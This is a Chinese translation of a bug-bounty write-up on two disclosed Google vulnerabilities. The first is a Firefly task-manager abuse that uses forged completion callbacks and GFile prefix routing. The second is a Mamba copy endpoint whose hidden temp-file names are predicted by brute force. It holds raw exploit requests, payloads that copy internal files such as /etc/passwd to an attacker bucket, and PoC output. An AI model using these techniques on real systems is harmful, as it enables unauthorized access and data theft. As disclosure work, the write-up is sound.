攻破 Google GFile 拿满 10 万美元:通用 RPC 路由 + 跨存储前缀 + 文件名预测组合拳

导语:本文转载编译自 Google Bug Hunters 博客 2026-09-11 发布的《Breaking into Google’s GFile for $100k》,原作者 Arvin Shivram(brutecat),已于报告提交后入职 Google 任 Security Engineer。两份报告合计斩获 $97,604,分别为 Firefly 报告 $60,000、Mamba 报告 $37,604.40。下面按原始章节顺序把技术细节原汁原味译出,仅作少量语序与中文习惯性调整,便于中文读者阅读。

GFile 跨存储攻击全景图

背景:上一篇关于”AI 扫 discovery 文档”的延续

在我上一篇文章里,我详细讲了怎么用 AI 大规模扫 Google 基础设施里的 discovery 文档,顺手摸出一堆 bug。那篇发出去之后我估计这条面会被盯紧,所以我想换个新打法。

我意识到 Google 内部的 API 端点本质上都是 RPC,很多并没有自定义 HTTP 映射,因此根本不会出现在 discovery 文档里。但即使没有 HTTP 映射,这些 RPC 仍然可以走通用 RPC 路由访问:

/$rpc/<fully-qualified-service-name>/<method>

比如:

/$rpc/google.internal.play.movies.firefly.avails.v1.AvailService/ListAvails

既然这条面没怎么被翻过,我就专门去盯它。discovery 文档拿不到,我得用其他办法”挤”出端点的 protobuf 参数,比如 req2proto。

我的 AI 工具最先发现的一个 API 是 firefly-pa.googleapis.com。它里头挂了一堆管理 YouTube TV/Film 合作方记录的 admin RPC,对应的账号是 Content Manager 账号。这种账号能直接在 YouTube 上做 strike、下发 monetization 之类的版权动作,权限极高。结果一看,鉴权检查根本没有。

一、把每个合作方的 CMS 记录全部 dump 出来

用这套 RPC 可以把任何一个工作室记录拉出来,里面有内部联系信息、Content Manager 邮箱、内部备注——甚至包含明文密码:

请求

POST /$rpc/google.internal.play.movies.firefly.backdraft.v2.StudioManagement/GetStudio?alt=json HTTP/2
Host: firefly-pa.clients6.google.com
Cookie: <REDACTED>
Authorization: <REDACTED>
X-Goog-Api-Key: AIzaSyAFwUqVJym0bGjT348m643asjdULk6gfe4
Origin: https://partnerdash.google.com
Content-Type: application/x-protobuf

ChBlZmU2ODAwMDAwMDAwMDAw

解码后的请求体:{1: studio_id="efe6800000000000"}

响应

{
  "studioId": "efe6800000000000",
  "displayName": "<REDACTED>",
  "hellboyId": "100299624",
  "flareId": "1",
  "searchLabel": "<REDACTED>",
  "primaryInternalContact": "playsupport-moviestv",
  "externalContacts": [
    {
      "email": "<REDACTED>",
      "contactRole": "<REDACTED>",
      "contentType": "CONTENT_TV",
      "regions": ["APAC"],
      "countries": ["AU"],
      "name": "<REDACTED>",
      "preferredLanguage": "LANG_EN_AU"
    }
  ],
  "notes": "New Salesforce Alias: <REDACTED>@google.com, <REDACTED>@google.comn<REDACTED>@google.comnPO 417174nnMy <REDACTED> Files (box) access: https://<REDACTED>.account.box.com/login  <REDACTED>@google.com, password: <REDACTED> ..."
}

同一个 API 上所有 RPC 全都是同样的鉴权缺失。可以列出数百万条 avails 和 ingestion job,可以 dump 别人的 transaction/order 记录,甚至能改、删别人的 avails、prepared avails、transaction。

二、那个永远不执行的 Job

但其中最引起我注意的一组 RPC 是:

TaskManagerService
  CreateJob
  GetJob
  GetJobStatusLog
  GetTask
  GetTaskStatusLog
  GetTaskExecutionResult
  RestartTask
  NotifyTaskExecutionResult

看 /TaskManagerService.CreateJob 表面,它支持一个 copyFileTask,可以用一个用户传入的 Bigstore/Blobstore 路径,复制到另一个用户传入的路径:

message CopyFileTask {
  string task_id = 3;
  FileIdentifier src_file = 1;
  FileIdentifier dest_file = 2;
  bool overwrite = 4;
}

message FileIdentifier {
  oneof identifier_oneof {
    BigstoreIdentifier bigstore_identifier = 1;
    BlobstoreIdentifier blobstore_identifier = 2;
  }
}

从该 API 的其他 RPC 里我看到一些敏感的内部 Bigstore 路径,例如:

/bigstore/ypc-archive/package/3fbfaacf9e28dcef33214599153846/resources/Google_JusticeLeague_2951533_FE_RLI-10269600.36058659747131.36047781510202.xml

如果能把这些文件拷一份到我自己的 GCS bucket,就能直接读。

Bigstore 是 Google Cloud Storage(GCS)的内部代号。

第一次尝试我只发了一条 job 把目标文件拷到自己 bucket。CreateJob 接受了,返回了两个 server 分配的 task id,但 job 一直卡在 NEW 状态。我注意到 CreateJobRequest 里可以指定 “dependent tasks”,或许配上依赖就能跑起来?

message Job {
  string job_id = 1;
  JobClientInfo client_info = 5;
  repeated Task tasks = 2;
  repeated Dependency dependencies = 3;
  ExecutionStatus job_status = 4;
}

message Dependency {
  repeated string in_task_names = 1;
  repeated string in_task_ids = 3;
  string out_task_name = 2;
  string out_task_id = 4;
}

于是我建了一个带两个 task 的 job:dummy 在自己 bucket 里拷一份无害文件,exfil 把目标文件拷到 bucket;依赖关系让 exfil 必须在 dummy 完成后才跑:

{
  "job": {
    "clientInfo": {"client":"JOB_CLIENT_ASSET_MANAGER","clientId":"vrp"},
    "tasks": [
      {
        "taskName":"dummy",
        "copyFileTask": {
          "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"}},
          "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"}},
          "overwrite":true
        }
      },
      {
        "taskName":"exfil",
        "copyFileTask": {
          "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/ypc-archive/package/example"}},
          "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/exfil.xml"}},
          "overwrite":true
        }
      }
    ],
    "dependencies": [ {"inTaskNames":["dummy"],"outTaskName":"exfil"} ]
  }
}

响应

{
  "jobId": "2030d1a000000000",
  "tasks": [
    {"taskName":"dummy","copyFileTask":{"taskId":"a030d1a000000000"}},
    {"taskName":"exfil","copyFileTask":{"taskId":"6030d1a000000000"}}
  ]
}

依然卡在 NEW。换什么姿势都跑不起来。RestartTask 也只是返回一个 5xx 错误,并没有真执行。

从这组 RPC 看,TaskManagerService 显然是某种由其他服务(如 AssetManagerService)调用的内部服务,我大概漏掉了真正触发任务的入口。AssetManagerService 这边也找不到可以触发任意 task 的口子,这条路暂时断掉,把当时掌握的所有信息打包发给 Google VRP。

三、把状态从 NEW 拽出来

隔了一天我决定再碰碰运气,让 AI 工具自己想办法把 task 跑起来。

它发现 NotifyTaskExecutionResult 是 worker 上报”任务完成”的回调 RPC,但完全不验证调用方就是分配到那个 task 的 worker。既然 exfil 依赖 dummy,我可以直接调用这个 RPC,把 server 分配的 dummy task 谎报成 STATUS_COMPLETE_SUCCESS:

{
  "taskId": "a030d1a000000000",
  "status": {"status": "STATUS_COMPLETE_SUCCESS"},
  "copyFileTaskExecutionResult": {
    "destFiles": {
      "bigstoreIdentifier": {
        "filePath": "/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"
      }
    }
  }
}

scheduler 信了这个伪造的回调,把 dummy 标成 complete,然后去调度真正依赖它的 exfil task 到生产后端。

任务执行了,但文件没有停留在我 bucket 里。多试几次发现诡异现象:文件先被创建,紧接着就被删除。我写了个脚本去 race 这一段,终于把文件抠出来:

curl 'https://storage.googleapis.com/my-public-writeable-vrp-bucket/poc/exfil.xml'
# HTTP 200  (2,270,337 bytes)
# <?xml version="1.0" encoding="UTF-8"?>
# <DolbyLabsMDF xmlns="http://www.dolby.com/schemas/dvmd/4_0_2"> ...

后来发现一个更干净的姿势:把 bucket 权限设成只允许 allUsers 读 + 上传,不允许删。后端执行完后想删也删不掉。

Firefly 三步攻击链

四、Bigstore 只是 GFile 冰山一角

能把 Bigstore 读出来已经很有趣,但我还想看看能不能打到别的服务。Google 内部有一个文件库叫 GoogleFile(GFile),它在不同存储系统前套一层通用接口,由 FileFactory 根据路径前缀选真正的后端。这意味着同一个 copy 函数只要二进制里链接到对应实现,就能操作 Bigstore(GCS 的内部名)、Blobstore、CNS(Colossus)、Chubby,甚至 borgtask 的本地文件系统。

上一节 task 响应里的 bigstoreIdentifier 用的是 /bigstore/ 前缀。如果换成别的会怎样?字段名其实是个误导——只要 copyFileTask 把用户传入的字符串原样交给 GFile,换前缀就能决定真正打到哪个后端。

试了几条前缀,还真成了:

FileFactory响应
/bigstore/Empty bucket name
/blobstore/Invalid path
/cns/unable to parse path: invalid cell name: ; ‘/cns/’; Open on /cns/
/ls/LockService OpenExisting error: /ls: access denied
/cfs/unable to parse path: invalid file factory prefix: /cfs; Open on /cfs/
/cfs2/unable to parse path: invalid file factory prefix: /cfs2; Open on /cfs2/
/namespace//namespace/: Invalid name space path/pattern: /namespace/; NamespaceFileFactory::Open
/ffs/Unexpected faultyfs prefix: /ffs
/readahead/Malformatted /readahead path: /readahead/
/memfile/File not found: /memfile/
/google_src/head/FileFactory ‘//file/google_src’ not found while resolving path ‘/google_src/head’. The application has not been linked against the ‘//file/google_src’ library or InitGoogle() has not been called yet.

备注:FileFactory 必须链接进当前二进制才能用,例子里的 /google_src/head/ 这个 FileFactory 没链接进来。

五、读和写 borgtask 本地文件

GFile 还能操作本地文件。为了验证它真的跑在 borg 上,我直接把 /etc/passwd.borg 当源,拷到自己 bucket。结果是直接拿到的:

<redacted>:x:2501:5000::/user/<redacted>:/bin/bash
<redacted>:x:2503:5000::/user/<redacted>:/bin/bash
<redacted>:x:2527:5000::/user/<redacted>:/bin/bash
...

这个文件上百万行,装的是每个 Googler 的 LDAP。

到这里意味着没有任何沙箱隔离层(比如 gVisor),已经触达实际跑服务的物理机的文件系统。把源和目的换一下,还可以反向写任意文件。我顺手验证了一下,往 /tmp/poc.txt 写入了 brutecat was here。

用 Chubby 把 Google 内部地址解出来

Chubby 是 Google 的分布式锁与命名服务,内部的协调、存一点元数据(包括服务地址)都靠它。GFile 把 Chubby 通过 /ls//... 路径暴露成可查接口。一个 cell 通常就是一个 Chubby 实例,对应一个数据中心。Chubby 在 GFile 里是开着的,我顺手测了一组查询,看看 Chubby 在内部是怎么被用来解析 Borg Name Service(BNS)地址的。

Google 内部服务一般通过 GSLB 地址访问,比如 hr.corp.googleapis.com 实际服务在 blade:corp-hr-api,这种 GSLB 在某些外部点会泄漏出来。拿一个泄漏的 java/com/google/loadbalancer/rpc/GslbChannelPicker3.java(来自反编译 Google 公开的二进制),可以算出 blade:apphosting-stubbyproxy 的 fallback Chubby 查询:/ls/ce/loadbalancer/fallback/924/blade_apphosting-stubbyproxy,查出来是:

/bns/ce/borg/ce/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp
/bns/lcscld/borg/lcscld/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp

再查一个 BNS 地址,比如 /ls/qk/borg/qk/bns/apps-drive-genoa-server/prod-stripe10.genoa-server/0(0 是 task id,qk 是示例 cell),会直接返回这个 borgtask 的 IPv6 地址。

影响面

GetTaskStatusLog 显示这次 copy 是以 play-movies-encoding@system.gserviceaccount.com 这个生产身份执行的,能访问 GFile 的所有后端:Bigstore(GCS)、Blobstore、CNS(Colossus,Google 绝大多数服务都跑在它上面)、Chubby,等于对 Google 这套可扩展存储体系拿到一个几乎完整的读权限。我把这个升级面同步给 Google 后,报告很快被升到 P0。

我以为 GFile 这条线就这么结了。没想到三天之后又找到了第二个。

六、有复制原语但拿不到输出

staging-mamba-backend.sandbox.googleapis.com 这个端点我盯了很久了。它暴露了一个无认证的 /v1/process,接收用户传的 refFilename,把文件复制到一个临时 CNS 目录里,给 Mamba UI 的 frame-metrics 流水线用。

拿一个后端读不到的文件去试,会回一份特别详细的错误:

请求

POST /v1/process HTTP/2
Host: staging-mamba-backend.sandbox.googleapis.com
Content-Type: application/json

{"refFilename":"/etc/shadow"}

响应

{
  "error": "Copying /etc/shadow to /cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb16870b.borgtask.google.com-151cc3-1243617-2fcfc29258853-656ebf3e9ce1d failed with error: open failed for /etc/shadow: Permission denied"
}

这条错误回吐把完整的目标路径都暴露了。输出的目标目录长这样:

/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/

这目录一看就有问题:共享的 frame_metrics_tmp_dir,TTL 7 天;路径里没有用户/租户标识;文件名也不是 UUID。这个目录很可能是全局可读,让流水线其他阶段能消费临时文件——后来确认确实如此。

文件名看起来也是确定性生成而不是随机。每段都是处理请求那个 borgtask 的运行时元数据:

tempfile-<borg-host>-<tid>-<pid>-<cycle>-<wall>

但如果源文件存在、复制成功,端点返回的是:

HTTP/2 200 OK
Content-Type: application/json

{}

也就是说 /etc/passwd 能成功拷进 CNS,但响应把生成出来的文件名藏起来了——拿不到文件名就读不回。

在我刚搞定 Firefly 那条任意 GFile 读之后,这个端点突然变得特别有戏。详细错误已经证明它接受 borg 本地路径,并以 video-pipeline-metrics@system.gserviceaccount.com 把内容写入 CNS。如果我能恢复出成功 copy 的那个文件名,第一部分的 Firefly 原语正好可以读它。

挡住攻击者的只剩下文件名这一个变量。

七、用 /batch 钉死 borgtask

我和朋友 Theo 一起研究,发现不同请求生成的文件名前缀非常相似:borgtask 主机名、进程 ID 不变,变的只有线程 id、cycle 计数器、wall-clock 时间戳。

独立的 HTTP 请求可能被路由到不同 borgtask,导致文件名比较不可靠。后来我意识到这个 API 还支持 Google 标准的 /batch 端点,一个 multipart batch 里的所有子请求都在同一个 borgtask 上处理。

这就能把一次成功(被隐藏)的 copy 夹在大量故意失败的 copy 之间:

before-0   -> /etc/shadow
before-1   -> /etc/shadow
before-2   -> /etc/shadow
...
target     -> /etc/passwd
...
after-0    -> /etc/shadow
after-1    -> /etc/shadow
after-2    -> /etc/shadow

任何能稳定失败的源路径都行。我直接复用 /etc/shadow——它复制失败、文件名泄漏;目标 /etc/passwd 复制成功返回 {}。所有请求都在同一台 borgtask 上执行,左右两侧的失败会把”造文件的那个进程”附近生成的兄弟文件名给吐出来。

这些 worker id 通常是一个近似连续的序列:

... 11617f, 116180, 116181, [missing], 116183, 116184 ...

中间空缺的就是成功 target 请求的候选 worker。进程里其他工作也可能造成多个 gap,所以 PoC 会重跑 batch,留 worker gap 最少、时间窗最窄的那一组。

这一步拿到的是稳定的 borg 主机 + PID,外加可能的目标线程 id + 前后两个时间邻居。剩下要做的就是预测 cycle 计数器和 wall-clock 时间戳的具体值。

到这里我把样本和路径 oracle 交给 GPT-5.6-sol(xhigh),让它直接干。它把邻近的失败样本变成一个有界搜索:

  • 泄漏的文件名是按时间排列的,所以 hidden 请求的 wall 值可以从它前后 worker id 之间线性插值。
  • cycle 计数器大约每秒增长 1,300 个 cycle,可以从 wall clock 直接预测。
  • 在两个估算值上加一点 jitter,几百万条候选路径就把不确定的搜索空间压成了有界集合。

还有一个很方便的 oracle:把候选 CNS 路径直接喂回 /v1/process,存在就返回 {},不存在就报错。PoC 把候选打包到并行 /batch 请求里一个一个试,直到某条返回 {}。

整个流程如下:

  1. 在一个 /batch 请求里把真实 copy 夹在几十个失败 copy 中间。
  2. 解析失败响应,恢复 borg 主机、PID、邻接的 (tid, cycle, wall) 样本。
  3. 在 worker id 序列里找 gap,留搜索窗最窄的那一组 batch。
  4. 插值算 wall,预测 cycle,加上 jitter 范围生成确切候选 CNS 路径。
  5. 用 /process 回放候选路径,直到 existing-file oracle 返回 {}。

跑 /etc/passwd 完全不需要鉴权:

$ python3 poc_mamba.py /etc/passwd
[*] Target: staging-mamba-backend.sandbox.googleapis.com/v1/process
[*] Copy input: /etc/passwd
[*] Authentication: none
[-] Batch attempt 1: dense worker run has 9 bounded gaps (limit 8); retrying
[+] Batch attempt 3: isolated 1 possible hidden worker(s): ee4bc; combined wall span 7,805 us
[+] Batch attempt 11: isolated 1 possible hidden worker(s): 116182; combined wall span 4,979 us
[*] Using best retained batch model with 4,979 us combined span
[*] Borg task: 6d1b3bec58af19f2-8e5eb168749.borgtask.google.com
[*] Process ID: 1066201
[*] Possible worker 116182: neighbors 116181/116183, wall 656e3cabf8fad..656e3cabfa320
[*] Streaming up to 8,988,980 candidates
[*] Tested 100,000 candidate paths
[*] Tested 200,000 candidate paths
[*] Tested 300,000 candidate paths
[*] Tested 400,000 candidate paths
[*] Tested 500,000 candidate paths
[*] Tested 600,000 candidate paths
[*] Tested 700,000 candidate paths
[+] Oracle hit after 771,000 candidates
[+] Verified CNS tempfile path:
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f

那个号称隐藏的输出路径,现在完完整整拿到了。

八、用 Firefly 把 CNS 文件读回来

Mamba 端点把文件拷进了 CNS,但没暴露 HTTP 端点让我下载。还好三天前我刚拿到一个通用的 GFile reader。

把恢复出来的路径直接喂给 Firefly PoC,就能以 play-movies-encoding 身份把它拷到自己 bucket:

$ python3 firefly_read_poc.py 
  "/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f"

[+] EXFILTRATED 3870 bytes
    head: b'root:x:0:0:root:/root:/bin/bashnbin:x:1:1:bin:/bin:/sbin/nologinndaemon:x:2:2:daemon:/sbin:/sbin/nologinn...'

这两条原语合起来就是一个远程攻击者:任意本地文件读 + 拿到 video-pipeline-metrics 这个生产身份能访问的所有 GFile 后端。

九、结论

两个 bug 的源头大概率是同一个:开发只是想”在 Bigstore 之间挪个文件”,或者”拷进 CNS”,觉得用 GFile 很方便,于是就用了。Firefly 甚至把 protobuf 字段命名成 bigstoreIdentifier。GFile 把路径开头当作 FileFactory 路由指令——只要调用方没显式白名单前缀,用户传入的”Bigstore 文件名”随时可能变成 CNS、Blobstore、Chubby、X20,或者其他后端路径。这类 bug 在 Google 其他 API 里估计同样存在。

时间线

  • 2026-07-14 — Firefly 首报提交给 Google,4 小时内被接受
  • 2026-07-18 — 同步 Firefly 的 GFile 升级面,报告升到 P0
  • 2026-07-18 — Mamba 首报提交,9 分钟内被接受
  • 2026-07-24 — Firefly 评奖 $60,000。评审理由:报告质量”Exceptional Quality”。归类为”Normal Google Applications”下的”unrestricted file system or database access”
  • 2026-07-24 — Mamba 评奖 $37,604.40。评审理由:报告质量”Exceptional Quality”。归类同上;因利用难度极高、外传需要其他原语配合而降级

素材出处

本文为编译报道,原作者 Arvin Shivram(brutecat)2026-09-11 发布于 Google Bug Hunters 官方博客。

作者 brutecat

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容